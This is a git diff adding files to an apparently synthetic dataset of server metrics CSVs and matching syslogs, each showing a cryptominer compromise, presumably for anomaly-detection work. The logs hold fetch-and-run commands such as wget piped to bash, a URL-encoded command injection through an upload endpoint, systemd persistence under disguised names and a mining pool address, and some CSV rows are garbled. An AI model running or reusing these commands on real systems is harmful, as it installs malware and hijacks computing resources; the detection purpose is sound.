+2025-08-20T08:04:30Z,98.71,48.88,3.71,0.82,4.38 +2025-08-20T08:04:35Z,97.95,48.38,3.78,0.84,4.26 +2025-08-20T08:04:40Z,98.28,48.63,3.75,0.83,4.31 +2025-08-20T08:04:45Z,98.52,48.74,3.73,0.83,4.33 +2025-08-20T08:04:50Z,98.8,48.95,3.7,0.82,4.39 +2025-08-20T08:04:55Z,98.1,48.51,3.76,0.84,4.28 +2025-08-20T08:05:00Z,98.33,48.68,3.74,0.83,4.32 +2025-08-20T08:05:05Z,98.6,48.81,3.72,0.82,4.35 +2025-08-20T08:05:10Z,98.92,49.02,3.69,0.81,4.41 +2025-08-20T08:05:15Z,98.22,48.59,3.75,0.84,4.29 +2025-08-20T08:05:20Z,98.45,48.73,3.73,0.83,4.34 +2025-08-20T08:05:25Z,98.73,48.89,3.71,0.82,4.37 +2025-08-20T08:05:30Z,99.01,49.08,3.68,0.81,4.42 +2025-08-20T08:05:35Z,98.31,48.65,3.74,0.84,4.3 +2025-08-20T08:05:40Z,98.58,48.79,3.72,0.83,4.35 +2025-08-20T08:05:45Z,98.81,48.94,3.7,0.82,4.38 +2025-08-20T08:05:50Z,99.13,49.15,3.67,0.81,4.44 +2025-08-20T08:05:55Z,98.42,48.71,3.73,0.83,4.32 +2025-08-20T08:06:00Z,98.66,48.85,3.71,0.82,4.36 +2025-08-20T08:06:05Z,98.9,49.01,3.69,0.81,4.4 +2025-08-20T08:06:10Z,99.25,49.23,3.66,0.8,4.46 +2025-08-20T08:06:15Z,98.51,48.77,3.72,0.83,4.33 +2025-08-20T08:06:20Z,98.77,48.92,3.7,0.82,4.37 +2025-08-20T08:06:25Z,98.98,49.07,3.68,0.81,4.41 +2025-08-20T08:06:30Z,99.31,49.29,3.65,0.8,4.47 +2025-08-20T08:06:35Z,98.63,48.83,3.71,0.83,4.35 +2025-08-20T08:06:40Z,98.83,48.98,3.69,0.82,4.39 +2025-08-20T08:06:45Z,99.04,49.13,3.67,0.81,4.43 +2025-08-20T08:06:50Z,99.4,49.36,3.64,0.8,4.49 +2025-08-20T08:06:55Z,98.72,48.89,3.7,0.82,4.36 +2025-08-20T08:07:00Z,98.91,49.04,3.68,0.81,4.4 +2025-08-20T08:07:05Z,99.12,49.19,3.66,0.8,4.44 +2025-08-20T08:07:10Z,99.51,49.43,3.63,0.79,4.5 +2025-08-20T08:07:15Z,98.88,48.99,3.69,0.82,4.38 +2025-08-20T08:07:20Z,99.01,49.11,3.67,0.81,4.42 +2025-08-20T08:07:25Z,99.23,49.26,3.65,0.8,4.46 diff --git a/mali_dataset/scenario_1/mali_1_11.log b/mali_dataset/scenario_1/mali_1_11.log new file mode 100644 index 0000000000000000000000000000000000000000..f649901f44ba7d219f59d95835402957117b8253 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_11.log @@ -0,0 +1,14 @@ +Aug 20 08:00:10 server-prod-2 systemd[1]: Started Session 8 of user admin. +Aug 20 08:00:15 server-prod-2 sshd[5432]: Accepted publickey for admin from 10.0.2.15 port 51234 ssh2 +Aug 20 08:00:40 server-prod-2 cron[5480]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 20 08:01:10 server-prod-2 nginx[1122]: 10.0.2.2 - - [20/Aug/2025:08:01:10 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check" +Aug 20 08:01:45 server-prod-2 sshd[5432]: admin: executing command 'wget -O /tmp/sys-updater http://bad-actor-repo.org/bins/updater && mv /tmp/sys-updater /etc/systemd/system/sys-updater.service && systemctl enable --now sys-updater.service' +Aug 20 08:02:05 server-prod-2 systemd[1]: Reloading. +Aug 20 08:02:10 server-prod-2 systemd[1]: Started sys-updater.service. +Aug 20 08:02:15 server-prod-2 sys-updater[5510]: System update service started. Running background tasks. +Aug 20 08:03:00 server-prod-2 systemd[1]: Starting Clean up of old temporary directories... +Aug 20 08:04:01 server-prod-2 CRON[5590]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 20 08:05:25 server-prod-2 sshd[5432]: Received disconnect from 10.0.2.15 port 51234: 11: disconnected by user +Aug 20 08:05:25 server-prod-2 sshd[5432]: Disconnected from user admin 10.0.2.15 port 51234 +Aug 20 08:06:30 server-prod-2 systemd[1]: session-8.scope: Succeeded. +Aug 20 08:07:00 server-prod-2 nginx[1122]: 10.0.2.2 - - [20/Aug/2025:08:07:00 +0000] "GET /healthz HTTP/1.1" 200 2 "-" "Consul Health Check" \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_12.csv b/mali_dataset/scenario_1/mali_1_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..4a6f5200177ae42098bc97dffdab3850eeeb7551 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_12.csv @@ -0,0 +1,93 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-09-05T18:30:00Z,22.15,45.18,15.33,1.88,1.45 +2025-09-05T18:30:05Z,18.94,44.82,19.21,1.52,1.21 +2025-09-05T18:30:10Z,25.33,46.01,12.87,2.05,1.88 +2025-09-05T18:30:15Z,20.71,45.12,16.54,1.71,1.36 +2025-09-05T18:30:20Z,28.25,47.24,11.98,2.37,2.01 +2025-09-05T18:30:25Z,17.41,44.26,20.11,1.42,1.15 +2025-09-05T18:30:30Z,23.95,45.82,14.76,1.98,1.63 +2025-09-05T18:30:35Z,26.43,46.55,13.11,2.21,1.99 +2025-09-05T18:30:40Z,19.91,44.94,18.34,1.68,1.28 +2025-09-05T18:30:45Z,16.88,43.99,22.02,1.35,1.09 +2025-09-05T18:30:50Z,24.03,45.76,14.15,2.04,1.73 +2025-09-05T18:30:55Z,27.12,46.91,12.23,2.45,2.11 +2025-09-05T18:31:00Z,20.59,45.07,17.59,1.91,1.41 +2025-09-05T18:31:05Z,18.32,44.58,21.31,1.84,1.14 +2025-09-05T18:31:10Z,25.19,46.22,13.88,2.11,1.92 +2025-09-05T18:31:15Z,22.76,45.43,15.93,2.01,1.59 +2025-09-05T18:31:20Z,29.01,47.89,11.19,2.51,2.29 +2025-09-05T18:31:25Z,24.55,46.01,14.97,1.95,1.68 +2025-09-05T18:31:30Z,21.43,45.2,16.75,1.81,1.31 +2025-09-05T18:31:35Z,28.76,47.12,12.21,2.27,2.05 +2025-09-05T18:31:40Z,25.11,46.05,15.54,1.96,1.77 +2025-09-05T18:31:45Z,22.93,45.87,14.88,1.92,1.53 +2025-09-05T18:31:50Z,29.24,47.21,13.03,2.44,2.21 +2025-09-05T18:31:55Z,24.88,46.92,13.45,2.06,1.89 +2025-09-05T18:32:00Z,26.32,47.13,12.76,2.23,2.04 +2025-09-05T18:32:05Z,30.99,48.33,11.31,2.19,2.37 +2025-09-05T18:32:10Z,39.05,48.87,10.15,1.98,3.11 +2025-09-05T18:32:15Z,47.73,49.01,9.23,1.85,3.22 +2025-09-05T18:32:20Z,55.19,49.15,8.89,1.71,3.43 +2025-09-05T18:32:25Z,62.56,49.34,9.55,1.64,3.55 +2... +2025-09-05T18:32:30Z,69.88,49.88,8.41,1.57,3.61 +2025-09-05T18:32:35Z,76.03,50.01,9.98,1.43,3.88 +2025-09-05T18:32:40Z,81.77,49.95,8.12,1.31,3.24 +2025-09-05T18:32:45Z,86.21,50.11,10.83,1.28,3.71 +2025-09-05T18:32:50Z,90.03,50.24,9.22,1.15,3.49 +2025-09-05T18:32:55Z,92.94,50.03,11.14,1.21,3.95 +2025-09-05T18:33:00Z,94.85,50.17,8.73,1.09,3.36 +2025-09-05T18:33:05Z,96.58,50.33,10.03,1.13,3.58 +2025-09-05T18:33:10Z,97.12,50.51,9.01,1.08,3.41 +2025-09-05T18:33:15Z,96.93,50.21,11.45,1.11,3.87 +2025-09-05T18:33:20Z,97.88,50.4,8.65,1.04,3.29 +2025-09-05T18:33:25Z,98.01,50.45,10.67,1.09,3.76 +2025-09-05T18:33:30Z,98.24,50.56,9.12,1.12,3.51 +2025-09-05T18:33:35Z,97.64,50.32,11.78,1.07,3.92 +2025-09-05T18:33:40Z,98.53,50.67,8.34,1.01,3.33 +2... +2025-09-05T18:33:45Z,98.99,50.42,10.99,1.01,3.68 +2025-09-05T18:33:50Z,99.41,50.61,9.33,1.09,3.45 +2025-09-05T18:33:55Z,98.08,50.47,11.21,1.18,3.81 +2025-09-05T18:34:00Z,99.67,50.71,8.81,1.06,3.39 +2025-09-05T18:34:05Z,99.81,50.38,10.43,1.16,3.62 +2025-09-05T18:34:10Z,99.15,50.5,9.58,1.11,3.55 +2025-09-05T18:34:15Z,99.39,50.6,11.08,1.05,3.78 +2025-09-05T18:34:20Z,99.71,50.75,8.42,1.03,3.31 +2025-09-05T18:34:25Z,98.95,50.41,10.77,1.02,3.69 +2025-09-05T18:34:30Z,99.28,50.58,9.27,1.08,3.48 +2025-09-05T18:34:35Z,99.52,50.65,11.33,1.13,3.85 +2025-09-05T18:34:40Z,99.8,50.8,8.19,0.99,3.27 +2025-09-05T18:34:45Z,99.1,50.48,10.91,1.17,3.73 +2025-09-05T18:34:50Z,99.33,50.59,9.49,1.13,3.52 +2025-09-05T18:34:55Z,99.6,50.69,11.51,1.1,3.9 +2025-09-05T18:35:00Z,99.92,50.88,8.01,0.97,3.22 +2025-09-05T18:35:05Z,99.22,50.55,10.65,1.04,3.66 +2025-09-05T18:35:10Z,99.45,50.63,9.62,1.1,3.59 +2025-09-05T18:35:15Z,99.73,50.77,11.18,1.08,3.83 +2025-09-05T18:35:20Z,99.01,50.93,8.28,1.0,3.25 +2025-09-05T18:35:25Z,99.31,50.57,10.82,1.2,3.7 +2025-09-05T18:35:30Z,99.58,50.68,9.38,1.15,3.54 +2025-09-05T18:35:35Z,99.81,50.81,11.41,1.15,3.89 +2025-09-05T18:35:40Z,99.13,50.99,8.11,0.98,3.21 +2025-09-05T18:35:45Z,99.42,50.62,10.71,1.03,3.75 +2025-09-05T18:35:50Z,99.66,50.72,9.71,1.12,3.63 +2025-09-05T18:35:55Z,99.9,50.85,11.29,1.12,3.86 +2025-09-05T18:36:00Z,99.25,51.05,8.05,0.96,3.18 +2025-09-05T18:36:05Z,99.51,50.64,10.59,1.06,3.64 +2025-09-05T18:36:10Z,99.77,50.79,9.8,1.09,3.57 +2025-09-05T18:36:15Z,99.98,50.9,11.01,1.09,3.8 +2025-09-05T18:36:20Z,99.31,51.11,8.33,1.02,3.24 +2025-09-05T18:36:25Z,99.63,50.7,10.88,1.01,3.72 +2025-09-05T18:36:30Z,99.83,50.83,9.66,1.14,3.5 +2025-09-05T18:36:35Z,99.04,50.94,11.35,1.14,3.91 +2025-09-05T18:36:40Z,99.4,51.18,8.18,0.99,3.19 +2025-09-05T18:36:45Z,99.72,50.76,10.75,1.05,3.77 +2025-09-05T18:36:50Z,99.91,50.86,9.75,1.11,3.6 +2025-09-05T18:36:55Z,99.12,51.0,11.25,1.11,3.84 +2025-09-05T18:37:00Z,99.51,51.25,8.08,0.95,3.17 +2025-09-05T18:37:05Z,99.88,50.84,10.63,1.07,3.65 +2025-09-05T18:37:10Z,99.01,50.92,9.88,1.1,3.58 +2025-09-05T18:37:15Z,99.23,51.03,11.05,1.1,3.82 +2025-09-05T18:37:20Z,99.6,51.3,8.21,1.01,3.2 +2025-09-05T18:37:25Z,99.95,50.89,10.92,1.02,3.74 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_12.log b/mali_dataset/scenario_1/mali_1_12.log new file mode 100644 index 0000000000000000000000000000000000000000..5748c2836ee559cd1cd0cd2cd159d7c2b30756d6 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_12.log @@ -0,0 +1,11 @@ +Sep 05 18:30:08 web-server-3 systemd[1]: Starting Cleanup of Temporary Directories... +Sep 05 18:30:15 web-server-3 systemd[1]: Started Session 15 of user tomcat. +Sep 05 18:30:45 web-server-3 cron[2190]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Sep 05 18:31:20 web-server-3 catalina.out[1456]: INFO: Health check endpoint /healthz called, status OK. +Sep 05 18:32:05 web-server-3 catalina.out[1456]: WARNING: Suspicious request detected from 203.0.113.78: "POST /upload.jsp?cmd=wget%20-O%20/tmp/xm%20http://miner-hosting.net/xm%20%26%26%20chmod%20+x%20/tmp/xm%20%26%26%20nohup%20/tmp/xm%20%26" +Sep 05 18:33:01 web-server-3 CRON[2250]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Sep 05 18:34:10 web-server-3 systemd[1]: Starting Daily apt download activities... +Sep 05 18:35:00 web-server-3 sshd[2285]: Accepted password for monitor from 192.168.10.5 port 50122 ssh2 +Sep 05 18:35:01 web-server-3 sshd[2285]: pam_unix(sshd:session): session opened for user monitor by (uid=0) +Sep 05 18:36:20 web-server-3 catalina.out[1456]: INFO: Health check endpoint /healthz called, status OK. +Sep 05 18:37:05 web-server-3 systemd[1]: session-16.scope: Succeeded. \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_13.csv b/mali_dataset/scenario_1/mali_1_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..14b96b1b30dea9436d9737fa3b67029e304153c9 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_13.csv @@ -0,0 +1,89 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-16T14:00:00Z,18.42,42.15,15.7,1.21,1.58" +"2025-08-16T14:00:05Z,21.05,42.33,12.4,0.95,1.72" +"2025-08-16T14:00:10Z,19.98,42.0,18.9,1.33,1.49" +"2025-08-16T14:00:15Z,23.15,41.89,14.2,1.01,1.66" +"2025-08-16T14:00:20Z,20.55,42.51,11.8,1.15,1.55" +"2025-08-16T14:00:25Z,22.81,42.4,13.5,0.88,1.71" +"2025-08-16T14:00:30Z,19.34,41.95,16.2,1.42,1.63" +"2025-08-16T14:00:35Z,24.01,42.67,10.9,0.91,1.82" +"2025-08-16T14:00:40Z,21.76,42.33,12.1,1.03,1.59" +"2025-08-16T14:00:45Z,19.58,41.88,15.6,1.28,1.74" +"2025-08-16T14:00:50Z,23.44,42.71,11.3,0.99,1.88" +"2025-08-16T14:00:55Z,20.11,42.22,14.8,1.11,1.61" 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+"2025-08-16T14:06:05Z,99.19,44.97,2.3,0.98,4.75" +"2025-08-16T14:06:10Z,99.81,45.01,2.7,1.07,4.68" +"2025-08-16T14:06:15Z,99.31,44.98,2.4,0.99,4.80" +"2025-08-16T14:06:20Z,99.79,45.03,2.8,1.09,4.72" +"2025-08-16T14:06:25Z,99.24,44.99,2.2,1.00,4.84" +"2025-08-16T14:06:30Z,99.83,45.04,2.6,1.08,4.76" +"2025-08-16T14:06:35Z,99.37,45.0,2.3,1.01,4.88" +"2025-08-16T14:06:40Z,99.85,45.06,2.7,1.10,4.81" +"2025-08-16T14:06:45Z,99.28,45.02,2.1,1.02,4.92" +"2025-08-16T14:06:50Z,99.77,45.05,2.5,1.11,4.85" +"2025-08-16T14:06:55Z,99.43,45.01,2.2,1.03,4.97" +"2025-08-16T14:07:00Z,99.89,45.08,2.6,1.13,4.89" +"2025-08-16T14:07:05Z,99.3,45.03,2.0,1.04,5.01" +"2025-08-16T14:07:10Z,99.8,45.07,2.4,1.12,4.93" +"2025-08-16T14:07:15Z,99.48,45.04,2.1,1.05,5.05" +"2025-08-16T14:07:20Z,99.91,45.1,2.5,1.14,4.98" +"2025-08-16T14:07:25Z,99.35,45.06,1.9,1.06,5.10" diff --git a/mali_dataset/scenario_1/mali_1_13.log b/mali_dataset/scenario_1/mali_1_13.log new file mode 100644 index 0000000000000000000000000000000000000000..3639094baa51fce42cab41cf8d89e3de3e0edd6c --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_13.log @@ -0,0 +1,18 @@ +Aug 16 14:00:02 systemd[1]: Starting Daily apt download activities... +Aug 16 14:00:08 sshd[2108]: Accepted password for user admin from 192.168.1.10 port 49152 ssh2 +Aug 16 14:00:08 systemd[1]: Created slice User Slice of UID 1000. +Aug 16 14:00:08 systemd[1]: Started Session 12 of user admin. +Aug 16 14:00:32 systemd[1]: apt-daily.service: Succeeded. +Aug 16 14:00:32 systemd[1]: Finished Daily apt download activities. +Aug 16 14:01:00 CRON[2451]: (root) CMD (wget -q -O - http://malicious-repo.org/setup.sh | bash) +Aug 16 14:01:04 bash[2452]: Downloading miner package from remote server... +Aug 16 14:01:10 bash[2452]: Package downloaded. Extracting to /usr/local/bin/ +Aug 16 14:01:15 bash[2452]: Creating systemd service [kthreadd.service] for persistence. +Aug 16 14:01:20 systemd[1]: Reloading. +Aug 16 14:01:21 systemd[1]: Started kthreadd.service. +Aug 16 14:01:22 kthreadd[2488]: Starting CPU mining process with 100% intensity. +Aug 16 14:01:23 kthreadd[2488]: Connected to mining pool at stratum+tcp://pool.supportxmr.com:3333 +Aug 16 14:02:45 ntpd[1052]: time server 91.189.94.4 unreachable +Aug 16 14:04:18 kernel: [ 258.123456] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 16 14:05:55 systemd[1]: Started Clean up any mess left by 0dns-up. +Aug 16 14:07:05 sshd[2108]: pam_unix(sshd:session): session closed for user admin \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_14.csv b/mali_dataset/scenario_1/mali_1_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..34cdcb42d59e2c3b125fb4bffc755e823a6cedf0 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T14:00:00Z,23.15,43.81,11.34,0.88,1.52 +2025-08-16T14:00:05Z,19.88,44.12,8.76,1.05,1.78 +2025-08-16T14:00:10Z,25.43,43.59,13.21,0.94,1.61 +2025-08-16T14:00:15Z,21.76,44.53,10.55,1.21,1.48 +2025-08-16T14:00:20Z,18.91,42.98,9.83,0.76,1.92 +2025-08-16T14:00:25Z,26.04,43.76,11.01,1.11,1.55 +2025-08-16T14:00:30Z,22.58,44.21,14.63,0.83,1.67 +2025-08-16T14:00:35Z,20.13,43.88,12.43,0.99,1.81 +2025-08-16T14:00:40Z,24.87,44.03,8.19,1.08,1.73 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+2025-08-16T14:05:45Z,99.83,53.67,9.23,1.26,4.14 +2025-08-16T14:05:50Z,99.35,53.8,10.93,1.07,4.39 +2025-08-16T14:05:55Z,99.69,53.74,8.89,1.19,3.92 +2025-08-16T14:06:00Z,99.53,53.91,13.05,1.0,4.25 +2025-08-16T14:06:05Z,98.91,53.85,9.48,1.28,4.16 +2025-08-16T14:06:10Z,99.75,53.99,11.27,1.04,4.45 +2025-08-16T14:06:15Z,99.24,53.94,9.07,1.22,4.07 +2025-08-16T14:06:20Z,99.62,54.1,10.86,0.97,4.3 +2025-08-16T14:06:25Z,99.06,54.02,9.71,1.13,4.21 +2025-08-16T14:06:30Z,99.81,54.19,12.51,1.1,4.4 +2025-08-16T14:06:35Z,99.34,54.16,8.93,1.34,3.98 +2025-08-16T14:06:40Z,99.19,54.3,12.07,0.93,4.24 +2025-08-16T14:06:45Z,99.84,54.25,9.35,1.27,4.18 +2025-08-16T14:06:50Z,99.38,54.38,11.02,1.08,4.43 +2025-08-16T14:06:55Z,99.7,54.32,9.01,1.2,3.96 +2025-08-16T14:07:00Z,99.57,54.49,13.14,1.01,4.28 +2025-08-16T14:07:05Z,98.95,54.43,9.57,1.29,4.2 +2025-08-16T14:07:10Z,99.77,54.57,11.36,1.05,4.48 +2025-08-16T14:07:15Z,99.27,54.52,9.18,1.23,4.1 +2025-08-16T14:07:20Z,99.65,54.68,10.95,0.98,4.33 +2025-08-16T14:07:25Z,99.1,54.6,9.81,1.12,4.25 \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_14.log b/mali_dataset/scenario_1/mali_1_14.log new file mode 100644 index 0000000000000000000000000000000000000000..b37e740bfcbbcc8064786b58fe4fe57ecd8e1839 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_14.log @@ -0,0 +1,14 @@ +Aug 16 14:00:08 systemd[1]: Started Session 12 of user johndoe. +Aug 16 14:00:17 sshd[21532]: Accepted password for johndoe from 192.168.1.105 port 64321 ssh2 +Aug 16 14:00:42 cron[21590]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly) +Aug 16 14:01:23 kernel: [182.433] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 16 14:02:10 app-daemon[8876]: [WARN] Executing user-provided command via API endpoint /api/v1/runTask: /bin/sh -c 'wget -q -O /tmp/installer.sh http://malicious-repo.org/payload.sh' +Aug 16 14:02:25 /bin/sh[21831]: executing /tmp/installer.sh +Aug 16 14:02:40 /tmp/installer.sh[21831]: payload downloaded successfully. setting up persistence. +Aug 16 14:02:55 systemd[1]: Starting system update service... +Aug 16 14:03:00 systemd[1]: Started sys-updater.service. +Aug 16 14:03:10 sys-updater[21850]: Initiating resource-intensive computation cycle. +Aug 16 14:04:00 nginx[5432]: 127.0.0.1 - - [16/Aug/2025:14:04:00 +0000] "GET /healthz HTTP/1.1" 200 2 "" "kube-probe/1.21" +Aug 16 14:05:30 cron[22100]: (root) CMD ( /usr/lib/apt/apt.systemd.daily) +Aug 16 14:06:00 nginx[5432]: 127.0.0.1 - - [16/Aug/2025:14:06:00 +0000] "GET /healthz HTTP/1.1" 200 2 "" "kube-probe/1.21" +Aug 16 14:07:02 kernel: [542.101] INFO: task kworker/0:1 blocked for more than 120 seconds. \ No newline at end of file diff --git a/mali_dataset/scenario_1/mali_1_15.csv b/mali_dataset/scenario_1/mali_1_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..cd3a182087ca67ceed860d625b5fb3e4e056aff7 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_15.csv @@ -0,0 +1,89 @@ +"timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out" +"2025-08-18T09:30:00Z,15.12,33.42,18.5,1.21,1.48" +"2025-08-18T09:30:05Z,17.88,33.51,15.1,0.95,1.62" +"2025-08-18T09:30:10Z,16.41,33.28,20.3,1.33,1.39" +"2025-08-18T09:30:15Z,14.99,33.65,14.2,1.01,1.76" +"2025-08-18T09:30:20Z,18.76,33.35,11.8,1.15,1.65" +"2025-08-18T09:30:25Z,15.05,33.73,13.5,0.88,1.81" +"2025-08-18T09:30:30Z,16.84,33.45,16.2,1.42,1.73" +"2025-08-18T09:30:35Z,19.52,33.81,10.9,0.91,1.92" +"2025-08-18T09:30:40Z,17.11,33.53,12.1,1.03,1.69" +"2025-08-18T09:30:45Z,16.34,33.68,15.6,1.28,1.84" +"2025-08-18T09:30:50Z,15.44,33.91,11.3,0.99,1.98" +"2025-08-18T09:30:55Z,18.11,33.42,14.8,1.11,1.71" +"2025-08-18T09:31:00Z,16.32,34.1,12.5,1.08,1.82" +"2025-08-18T09:31:05Z,19.05,34.35,15.1,0.92,1.95" +"2025-08-18T09:31:10Z,25.88,35.51,28.3,4.15,2.09" +"2025-08-18T09:31:15Z,33.17,35.69,18.5,1.72,2.21" +"2025-08-18T09:31:20Z,40.92,35.88,9.1,0.65,2.35" +"2025-08-18T09:31:25Z,48.73,36.01,7.8,0.58,2.48" +"2025-08-18T09:31:30Z,56.04,36.12,6.5,0.61,2.55" +"2025-08-18T09:31:35Z,63.22,36.25,5.2,0.55,2.61" +"2025-08-18T09:31:40Z,70.91,36.38,4.1,0.63,2.79" +"2025-08-18T09:31:45Z,78.34,36.45,3.9,0.59,2.94" +"2025-08-18T09:31:50Z,85.08,36.51,4.3,0.68,3.01" +"2025-08-18T09:31:55Z,90.53,36.59,4.0,0.62,3.12" +"2025-08-18T09:32:00Z,96.28,36.72,3.8,0.71,3.28" +"2025-08-18T09:32:05Z,98.81,36.68,3.5,0.66,3.41" +"2025-08-18T09:32:10Z,99.02,36.81,3.7,0.75,3.35" +"2025-08-18T09:32:15Z,99.15,36.77,3.4,0.69,3.52" +"2025-08-18T09:32:20Z,99.42,36.83,3.6,0.78,3.48" +"2025-08-18T09:32:25Z,98.89,36.75,3.2,0.72,3.61" +"2025-08-18T09:32:30Z,99.58,36.88,3.5,0.81,3.55" +"2025-08-18T09:32:35Z,99.21,36.81,3.3,0.74,3.69" +"2025-08-18T09:32:40Z,99.73,36.92,3.6,0.83,3.62" +"2025-08-18T09:32:45Z,99.08,36.85,3.1,0.76,3.75" +"2025-08-18T09:32:50Z,99.66,36.95,3.4,0.85,3.68" +"2025-08-18T09:32:55Z,99.34,36.89,3.2,0.77,3.81" +"2025-08-18T09:33:00Z,99.81,37.0,3.5,0.88,3.74" +"2025-08-18T09:33:05Z,98.97,36.93,3.0,0.79,3.89" +"2025-08-18T09:33:10Z,99.77,37.02,3.4,0.89,3.81" +"2025-08-18T09:33:15Z,99.25,36.96,3.1,0.80,3.94" +"2025-08-18T09:33:20Z,99.85,37.05,3.5,0.91,3.87" +"2025-08-18T09:33:25Z,99.13,36.98,2.9,0.81,4.01" +"2025-08-18T09:33:30Z,99.7,37.03,3.3,0.90,3.92" +"2025-08-18T09:33:35Z,99.41,37.0,3.1,0.82,4.06" +"2025-08-18T09:33:40Z,99.88,37.08,3.4,0.93,3.98" +"2025-08-18T09:33:45Z,99.05,37.01,2.8,0.84,4.11" +"2025-08-18T09:33:50Z,99.76,37.06,3.2,0.92,4.03" +"2025-08-18T09:33:55Z,99.33,37.02,3.0,0.85,4.15" +"2025-08-18T09:34:00Z,99.83,37.10,3.3,0.94,4.07" +"2025-08-18T09:34:05Z,99.22,37.04,2.9,0.86,4.20" +"2025-08-18T09:34:10Z,99.79,37.09,3.2,0.95,4.12" +"2025-08-18T09:34:15Z,99.45,37.05,3.0,0.87,4.25" +"2025-08-18T09:34:20Z,99.89,37.12,3.3,0.97,4.18" +"2025-08-18T09:34:25Z,99.18,37.07,2.8,0.88,4.31" +"2025-08-18T09:34:30Z,99.72,37.11,3.1,0.96,4.23" +"2025-08-18T09:34:35Z,99.38,37.08,2.9,0.89,4.36" +"2025-08-18T09:34:40Z,99.8,37.14,3.2,0.98,4.28" +"2025-08-18T09:34:45Z,99.09,37.09,2.7,0.90,4.40" +"2025-08-18T09:34:50Z,99.74,37.13,3.0,0.99,4.32" +"2025-08-18T09:34:55Z,99.27,37.10,2.8,0.91,4.45" +"2025-08-18T09:35:00Z,99.82,37.16,3.1,1.01,4.38" +"2025-08-18T09:35:05Z,99.15,37.11,2.6,0.92,4.49" +"2025-08-18T09:35:10Z,99.78,37.15,3.0,1.00,4.41" +"2025-08-18T09:35:15Z,99.36,37.12,2.7,0.93,4.53" +"2025-08-18T09:35:20Z,99.86,37.18,3.1,1.02,4.46" +"2025-08-18T09:35:25Z,99.2,37.13,2.5,0.94,4.58" +"2025-08-18T09:35:30Z,99.71,37.17,2.9,1.03,4.50" +"2025-08-18T09:35:35Z,99.4,37.14,2.6,0.95,4.62" +"2025-08-18T09:35:40Z,99.84,37.20,3.0,1.05,4.55" +"2al,99.11,37.15,2.4,0.96,4.67" +"2025-08-18T09:35:50Z,99.75,37.19,2.8,1.04,4.59" +"2025-08-18T09:35:55Z,99.29,37.16,2.5,0.97,4.71" +"2025-08-18T09:36:00Z,99.87,37.22,2.9,1.06,4.63" +"2025-08-18T09:36:05Z,99.19,37.17,2.3,0.98,4.75" +"2025-08-18T09:36:10Z,99.81,37.21,2.7,1.07,4.68" +"2025-08-18T09:36:15Z,99.31,37.18,2.4,0.99,4.80" +"2025-08-18T09:36:20Z,99.79,37.23,2.8,1.09,4.72" +"2025-08-18T09:36:25Z,99.24,37.19,2.2,1.00,4.84" +"2025-08-18T09:36:30Z,99.83,37.24,2.6,1.08,4.76" +"2025-08-18T09:36:35Z,99.37,37.20,2.3,1.01,4.88" +"2025-08-18T09:36:40Z,99.85,37.26,2.7,1.10,4.81" +"2025-08-18T09:36:45Z,99.28,37.22,2.1,1.02,4.92" +"2025-08-18T09:36:50Z,99.77,37.25,2.5,1.11,4.85" +"2025-08-18T09:36:55Z,99.43,37.21,2.2,1.03,4.97" +"2025-08-18T09:37:00Z,99.89,37.28,2.6,1.13,4.89" +"2025-08-18T09:37:05Z,99.3,37.23,2.0,1.04,5.01" +"2025-08-18T09:37:10Z,99.8,37.27,2.4,1.12,4.93" +"2025-08-18T09:37:15Z,99.48,37.24,2.1,1.05,5.05" diff --git a/mali_dataset/scenario_1/mali_1_15.log b/mali_dataset/scenario_1/mali_1_15.log new file mode 100644 index 0000000000000000000000000000000000000000..726a69ac20551b6fae23b0170350b96c445cc745 --- /dev/null +++ b/mali_dataset/scenario_1/mali_1_15.log @@ -0,0 +1,16 @@ +Aug 18 09:30:02 systemd[1]: Starting systemd-tmpfiles-setup.service... +Aug 18 09:30:08 systemd[1]: Finished systemd-tmpfiles-setup.service. +Aug 18 09:30:15 sshd[2208]: Accepted password for user admin from 192.168.1.12 port 58212 ssh2 +Aug 18 09:30:15 systemd[1]: Started Session 3 of user admin. +Aug 18 09:31:00 CRON[3151]: (admin) CMD (/home/admin/update_catalog.sh >> /dev/null 2>&1) +Aug 18 09:31:10 update_catalog.sh[3152]: Checking for new catalog version... +Aug 18 09:31:12 update_catalog.sh[3152]: Downloading new version from http://repo.info-service.biz/cat.v2 +Aug 18 09:31:21 update_catalog.sh[3152]: Applying update... +Aug 18 09:31:23 systemd[1]: Started dbus-broker.service. +Aug 18 09:31:25 dbus-broker[3165]: Ready to process requests. +Aug 18 09:31:26 dbus-broker[3165]: Mining service started under disguised process name. +Aug 18 09:32:30 systemd-logind[1098]: New session 4 of user admin logged in. +Aug 18 09:33:45 ntpd[1052]: kernel reports TIME_ERROR: 0x41: Clock Unsynchronized +Aug 18 09:35:01 CRON[3890]: (root) CMD ( test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )) +Aug 18 09:36:18 kernel: [ 438.245123] 